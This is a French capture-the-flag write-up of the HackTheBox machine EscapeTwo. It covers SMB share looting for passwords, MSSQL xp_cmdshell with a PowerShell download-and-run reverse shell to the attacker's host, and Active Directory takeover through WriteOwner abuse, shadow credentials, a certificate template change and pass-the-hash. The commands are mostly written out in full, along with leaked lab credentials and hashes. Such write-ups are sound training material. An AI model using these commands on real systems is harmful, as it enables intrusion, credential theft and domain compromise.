> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md). # Compte rendu HackTheBox d'EscapeTwo {% embed url="" %} {% hint style="warning" %} **Compétences :** * Énumération SMB * Fuite d'informations de mot de passe (zip, fichier Excel) * Exploitation RCE de MSSQL (Microsoft SQL) * Énumération BloodHund * WriteOwner sur l'utilisateur CA/\_SVC (élévation de privilèges) {% endhint %} Dans ce test d'intrusion dans un environnement Windows, nous disposons des identifiants suivants : * nom d'utilisateur : `rose` * mot de passe : `KxEPkKe6R8su` ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :** Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap : ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.51 -oG allPorts ```

**Analyse des ports ouverts avec extractPorts :** En utilisant la fonction extractPorts pour afficher de manière concise les ports ouverts et les copier dans le `(53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804)` presse-papiers

Scan de version des ports avec Nmap : Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804 10.10.11.51 -oN targeted ```

Pour résoudre les noms de domaine en adresses IP via DNS, le nom de domaine associé à son adresse IP est inséré dans le `/etc/hosts` fichier :

### Port 445 - SMB **Valider l'utilisateur avec CrackMapExec** Nous confirmons que le `rose` utilisateur existe sur le contrôleur de domaine (DC) : ```bash crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' ```

**Exploration des partages SMB** Nous listons les partages accessibles avec le `--shares` commande : ```bash crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares ``` **Résultat**: Deux dossiers intéressants sont visibles : * `Utilisateurs` * `Service comptabilité`

/*/* Se connecter au partage SMB avec smbclient/*/* Nous accédons à **Service comptabilité**: ```bash smbclient '//10.10.11.51/Accounting Department' -U rose ``` Dans ce répertoire, nous récupérons deux fichiers Excel : ```powershell get accounting_2024.xlsx get accounts.xlsx ```

**Identification du format de fichier** Avec l’ `le fichier` grâce à la commande, nous déterminons que ces fichiers sont en réalité des archives ZIP.

**Extraction des fichiers ZIP** Nous décompressons les fichiers récupérés :

**Recherche d'informations sensibles** Nous filtrons les fichiers extraits pour trouver des informations contenant le mot-clé **mot de passe**: ```bash find . -type f -name "*.txt" -exec grep -iH "password" {} + ```

**Résultat**: Un fichier nommé `shareStrings.xml` contient une liste d'utilisateurs et de mots de passe.

Prénom	Nom	E-mail	Nom d'utilisateur	Mot de passe
Angela	Martin	angela@sequel.htb	angela	0fwz7Q4mSpurIt99
Oscar	Martinez	oscar@sequel.htb	oscar	86LxLBMgEWaKUnBG
Kevin	Malone	kevin@sequel.htb	kevin	Md9Wlq1E5bZnVDVo
		sa@sequel.htb	sa	MSSQLP@ssw0rd!

**Tester les identifiants avec CrackMapExec** Nous utilisons les identifiants récupérés pour valider les comptes : ```bash crackmapexec smb 10.10.11.51 -u 'angela' -p '0fwz7Q4mSpurIt99' crackmapexec smb 10.10.11.51 -u 'oscar' -p '86LxLBMgEWaKUnBG' crackmapexec smb 10.10.11.51 -u 'kevin' -p 'Md9Wlq1E5bZnVDVo' crackmapexec smb 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' ``` **Résultat**: Seul le `oscar` l'utilisateur est valide.

## Exploitation MSSQL (Microsoft SQL) **Port 1433 (MSSQL)** Le port 1433 est ouvert, ce qui indique qu'un serveur Microsoft SQL est à l'écoute. Nous allons tester les connexions avec les différents utilisateurs récupérés précédemment.

**Test de connexion MSSQL** Nous utilisons `mssqlclient.py` pour essayer de se connecter : ```bash mssqlclient.py sequel.htb/angela@10.10.11.51 mssqlclient.py sequel.htb/oscar@10.10.11.51 mssqlclient.py sequel.htb/kevin@10.10.11.51 ```

**Résultat**: Seul l'utilisateur `sa` fonctionne. ```bash mssqlclient.py sequel.htb/sa@10.10.11.51 ```

### Reverse shell via MSSQL **Activer l'exécution des commandes** Pour exécuter des commandes système, nous activons `xp_cmdshell`: ```sql enable_xp_cmdshell ``` Nous testons ensuite avec une commande simple, comme `ipconfig`: ```sql xp_cmdshell ipconfig ```

**Préparation de l'écoute sur notre machine** Nous lançons un listener sur le port 4444 : ```bash rlwrap nc -nvlp 4444 ``` **Télécharger un script PowerShell** Nous préparons un script PowerShell appelé `PS.ps1` qui inclut une commande de reverse shell. À la fin du script, nous ajoutons la ligne suivante : {% embed url="" %} À la fin du script, nous ajoutons la ligne suivante : ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444 ``` Nous hébergeons ce script sur un serveur web local : ```bash python3 -m http.server 80 ``` **Exécution du reverse shell** Depuis le serveur MSSQL, nous exécutons la commande suivante pour télécharger et lancer le script PowerShell : ```sql xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')" ```

## Pivot vers l'utilisateur Ryan **Nouveaux identifiants découverts** En explorant le système, nous découvrons un répertoire nommé **SQL2019** à la racine. À l'intérieur, nous trouvons les identifiants suivants : * Nom d'utilisateur : `ryan` * Mot de passe : `WqSZAF6CysDQbGb3`

**Validation des identifiants avec CrackMapExec** Nous vérifions si ces identifiants sont valides : ```bash crackmapexec smb 10.10.11.51 -u 'sql_svc' -p 'WqSZAF6CysDQbGb3' ```

En explorant les répertoires partagés, nous identifions un utilisateur nommé `ryan`. Nous testons les mêmes identifiants que pour `sql_svc`:

**Résultat**: Les identifiants fonctionnent également pour l'utilisateur `ryan`. ```bash crackmapexec smb 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' ```

Evil-winrm ```bash evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' ```

### Drapeau user.txt :)

## Élévation de privilèges ### Énumération BloodHund-python Commande utilisée : ```bash bloodhound-python -u "ryan" -p "WqSZAF6CysDQbGb3" -d sequel.htb -ns 10.10.11.51 -c All ```

## WriteOwner : **Observation :**/ Le **Ryan** utilisateur possède le `WriteOwner` autorisation sur le **CA/ SVC** compte, qui est aussi l'émetteur du certificat. Cela signifie que nous pouvons modifier le propriétaire du compte **CA/ SVC** pour l'associer **Ryan**.

### Prendre le contrôle de CA/\_SVC avec BloodyAD #### Changement du propriétaire du compte {% code overflow="wrap" %} ```bash bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan' ``` {% endcode %} La commande utilise BloodyAD pour modifier le propriétaire de **CA/ SVC** et le définir sur **Ryan**. En tant que propriétaire, **Ryan** peut désormais modifier les autorisations associées au compte. ### Modifier les autorisations avec Dacledit #### Donner les pleins droits à Ryan {% code overflow="wrap" %} ```bash dacledit.py -action write -rights FullControl -principal ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3 ``` {% endcode %} Cette commande modifie la **DACL** (liste de contrôle d'accès discrétionnaire) du **CA/ SVC** compte afin de donner le contrôle total à **Ryan**. Cela permet à Ryan de réinitialiser le mot de passe ou de manipuler les clés d'authentification.

### Extraction des informations d'identification Shadow #### Générer et récupérer l'empreinte NT {% code overflow="wrap" %} ```bash certipy shadow auto -u 'ryan@sequel.htb' -p "WqSZAF6CysDQbGb3" -account 'ca_svc' -dc-ip '10.10.11.51' -target dc01.sequel.htb -ns 10.10.11.51 ``` {% endcode %}

Hash NT pour **CA/\_SVC**: `3b181b914e7a9d5508ea1e20bc2b7fce` Le **Certipy** commande génère une clé d'identification pour **CA/ SVC**, permettant l'authentification par certificat. Un `.ccache` fichier est également généré, ce qui facilite les attaques basées sur Kerberos. ### Modification du modèle de certificat #### Ajuster le modèle DunderMifflinAuthentication {% code overflow="wrap" %} ```bash KRB5CCNAME=$PWD/ca_svc.ccache certipy template -k -template DunderMifflinAuthentication -target dc01.sequel.htb -dc-ip 10.10.11.51 ``` {% endcode %}

Cette commande modifie la **DunderMifflinAuthentication** modèle de certificat pour permettre l'émission de certificats avec des privilèges élevés. ### Émission d'un certificat pour l'administrateur #### Demander un certificat d'usurpation d'identité {% code overflow="wrap" %} ```bash certipy req -u ca_svc -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target dc01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn Administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51 ``` {% endcode %}

Cette commande nécessite un certificat au nom de l'Administrateur (`Administrator@sequel.htb`), ce qui permet d'usurper l'identité de ce compte. ### Authentification en tant qu'Administrateur #### Utilisation du certificat pour s'authentifier ```bash certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51 ```

**Hash NTLMv2 :** `7a8d4e04986afa8ed4060f75e5a0b3ff` ```bash evil-winrm -i 10.10.11.51 -u administrator -H "7a8d4e04986afa8ed4060f75e5a0b3ff" ```

Cette commande s'authentifie en tant qu'Administrateur avec le certificat obtenu précédemment et récupère le hash NTLM. ### Drapeau root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.